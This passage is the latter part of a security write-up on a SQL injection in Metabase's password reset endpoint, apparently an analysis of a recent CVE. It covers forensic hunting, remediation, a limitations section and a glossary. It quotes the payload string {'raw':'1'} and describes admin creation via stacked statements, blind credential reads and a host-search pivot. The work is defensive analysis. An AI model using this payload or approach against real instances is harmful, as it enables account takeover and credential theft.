core_session | sessions for user_id = 1 (or any admin) from addresses that never logged in |
api_key | keys with no owner story — the tell that started this whole incident |
The attacker in the real incident inserted a session row for user 1 rather than creating
an account. Our PoC creates an account instead, because it is the louder and more clearly
demonstrable of the two. Hunt for both. An inserted session leaves no core_user row at all.
id is worth a moment. Metabase’s core_user.id is normally a small sequential integer. An
injected row can carry any integer the attacker picks, and tooling that wants to avoid
collisions picks a large one — ours defaults to a random value in the 700-million range. Sort
your user table by id descending and look at the top.
5. After the fact: what patching does not undo
This is the whole reason the KEV entry has a forensic triage flag.
- Accounts created through the bug are ordinary accounts. They survive the upgrade and keep working.
- Sessions created through the bug are ordinary sessions. Revoke all of them.
- API keys created through the bug are ordinary API keys. Audit every one.
- And every data-source credential in that database should be considered disclosed.
Arbitrary
SELECTagainst the application database includes the tables holding connection details for your warehouses. Rotate them. Then check the warehouses’ own logs for access that arrived through Metabase during the window, because that access will look completely legitimate.
6. What will not work
Version checks alone, for the reason in the section above: a release the advisory calls vulnerable is not.
WAF rules keyed on SQL keywords. The payload that proves the bug is {"raw":"1"} — four
characters of SQL. The one that exploits it contains INSERT, but there is no requirement
that it does; a patient attacker reads the credentials out with blind timing and never writes
a byte.
Rate limiting. One request.
Watching for 500s or error bodies. There are none. The endpoint returns the same 400 whatever you do to it.
What is still not proven
In the interest of not doing the thing this post has already complained about:
- The lab is 0.63 only. The advisory covers 0.58 through 0.63, and the mechanism — an
open schema plus a surviving merge key — is almost certainly identical across the lot, but
“almost certainly” is an inference and the other five lines were not pulled. In particular,
the
user-id/user_idspelling result is measured on 0.63.2 and nowhere else; the fix’s docstring implies the snake_case form resolves somewhere, and that somewhere might be an older line or an enterprise SSO provider. - 0.63.4 was never pulled. The measured claim is about 0.63.3 and 0.63.5 only. For 0.63.4 to be vulnerable the vendor would have had to revert the fix and re-add it, which is not a thing that happens, but it was not checked and is therefore not claimed.
- The release dates were not established. The vendor never published source ZIPs for the patch releases, and we did not chase the tag timestamps. If 0.63.3 predates the 2026-08-03 incident, the reading changes from “the advisory’s row was written against the release train” to “the fix shipped silently before the vendor knew it was needed”. Both are consistent with everything measured here; neither is established.
- The exploit is demonstrated on H2 only. Postgres and MySQL backends are confirmed
injectable — the timing oracle fires cleanly on 3004 — but stacked-statement superuser
creation is an H2 property. What a Postgres-backed instance yields to a patient blind
read of
core_userand the data-source credential tables was not tested, and “no stacked statements” is a speed limit, not a wall. - The affected-range finding is measured on the 0.63 line only. We do not claim the other
five rows of the vendor’s table are wrong. We claim
0.63.3is not affected, and we claim it from byte sizes, constant pools and live behaviour. - Everything ran against official Docker images, not against a customer deployment, a reverse proxy, or anything with a real load on it. Timing numbers from a loopback container are a floor, not a forecast.
- No exposure census. This post quotes no host counts, because none were collected.
http.title:"Metabase"is the pivot if you want to run one; we did not, and a number invented at the end of a technical post is worse than no number. - Nothing was reported to the vendor. Stated above, repeated here.
- The prior-art enumeration is a GitHub repo-name search, run 2026-09-17. Code search
needs authentication and was not run, so a PoC living inside a repo not named for the CVE
would not appear. The nine repos listed were read statically and never executed; the
characterisations are from source, and two of them (
d-maggipinto,EQSTLab) were read only in part. - We did not independently verify
d-maggipinto’s source diff. We read it, and our binary findings are consistent with it —closedandselect-keysboth appear in our constant-pool diff ofmetabase/session/api. We did not pullv0.63.15and check their quoted hunks line by line.
Keywords for the non-specialist
In roughly the order you hit them.
Metabase is a business-intelligence tool: you connect it to your company’s databases and it provides dashboards and a point-and-click query builder so people who do not write SQL can still ask questions of the data.
A data source is one of those connected databases. The application database is a separate one that Metabase keeps for itself, holding its users, sessions, settings and — crucially — the usernames and passwords it uses to reach every data source. This CVE reaches the second one.
H2 is a small database that lives in a single file inside the application, which is why it is Metabase’s default: it needs no setup. Postgres and MySQL are full-sized database servers you run separately, and are what production deployments are told to use instead.
SQL is the language for querying databases. SQL injection is getting a program to treat your input as part of its query rather than as data. Stacked statements are several SQL commands in a single request, separated by semicolons; some databases allow this and some do not, and H2 does, which is what makes this bug worse on the default configuration.
Parameterisation is the normal defence: the query and the data travel separately so data can never become code. It works, it was in use here, and it is why this bug is unusual — the attacker never fought the parameterisation, they handed the query builder an instruction instead of a value.
A query builder is a library that assembles SQL out of data structures rather than
strings. HoneySQL is Clojure’s, Toucan2 is the layer Metabase uses on top of it, and
:raw is HoneySQL’s deliberate escape hatch meaning “emit this text as SQL untouched” — a
normal, necessary feature that becomes a vulnerability the moment an attacker can reach it.
Clojure is the programming language Metabase is written in. It runs on the JVM, the Java virtual machine, and ships as a jar — a single archive containing thousands of compiled class files. An uberjar is one that also contains all its dependencies, which is why Metabase’s is 660 MB.
A namespace is Clojure’s unit of code organisation, roughly a source file. A gensym is a machine-generated name; Clojure numbers anonymous functions with a counter that runs across the whole build, which is why comparing two versions by class name produces tens of thousands of meaningless differences.
A constant pool is the region of a compiled class file holding its literal strings. A docstring is documentation written next to a function in the source; in Clojure it is stored as a literal, so it survives compilation and can be read back out of the shipped binary.
Malli is the schema library Metabase uses to describe what a request body may contain. An open schema ignores keys it was not told about; a closed schema rejects them. The fix is one flag changing the first into the second.
Merge combines two maps; when both contain the same key, one wins. The bug is that the attacker’s map was the base and the program’s own result — which, on a failed login, did not contain the key at all — was merged over the top, so the attacker’s value survived.
An endpoint is the address a request goes to, a request body is the data it carries, and unauthenticated means no account, password or prior access is needed to reach it. Password reset has to be unauthenticated, which is exactly why it is such a sensitive piece of surface.
A superuser or admin is an account that can do everything. bcrypt is a deliberately slow algorithm for storing passwords so that stealing the stored form does not hand over the password; a salt is a unique value mixed in first so identical passwords do not produce identical stored values.
A session is the token in your browser proving you already logged in. An API key is a long secret string a program uses instead of a password. Both were created by the real attacker, and both keep working after you patch, which is why revocation is a separate step from patching.
Rate limiting or throttling caps how often something may be attempted. It is the only thing that slowed this attack down, and it slowed it down by approximately nothing, because the attack needs one request.
CVE is the global naming scheme for publicly known vulnerabilities; CVSS is the 0–10 severity score, and this one is a 10 on both the 3.1 and 4.0 scales. CWE is a classification of kinds of flaw, and CWE-89 is SQL injection. NVD is the US government’s vulnerability database and CISA KEV is its catalogue of vulnerabilities known to be exploited in the wild — a KEV listing is a statement of fact about the world, not a prediction. A zero-day is a vulnerability exploited before the vendor knew it existed, which is what this was.
Patch diffing is the technique this post is built on: take the vulnerable and fixed versions of a program and compare them, on the reasonable assumption that what the vendor changed is a map of what was broken.
A proof of concept, or PoC, is code demonstrating a vulnerability is real. It is not the same as a weaponised exploit, and that distinction is why parts of this post describe tooling rather than publishing it.
References
- NVD, CVE-2026-72898
- Metabase, GHSA-vwf4-m7j8-wcjf — the advisory, published 2026-08-06
- Metabase, Security update — affected and fixed versions, remediation steps
- Metabase, What happened — the incident report, with the timeline and IoCs
- Bishop Fox, Critical SQL injection in Metabase via password reset — analysis, no PoC
- CISA, KEV catalog entry — added 2026-08-11, due 2026-08-14
- CISA, CSAF VA-26-222-01
- HoneySQL and Toucan2 — the query builder and the model layer, both working as designed
- Malli —
:closed, the flag that is the first half of the fix
All analysis was performed on official Metabase jars and Docker images, on an isolated workstation. No third-party Metabase instance was contacted at any point, and no exposure scanning was performed. Public proof-of-concept repositories were read as source and never executed. Nothing in this post is a first disclosure — the vector, the payload and working extraction tooling were all public weeks before it was written, and are linked above. The vendor’s fixed releases remain the authoritative remediation, and rotating every data-source credential remains the step that patching does not do for you.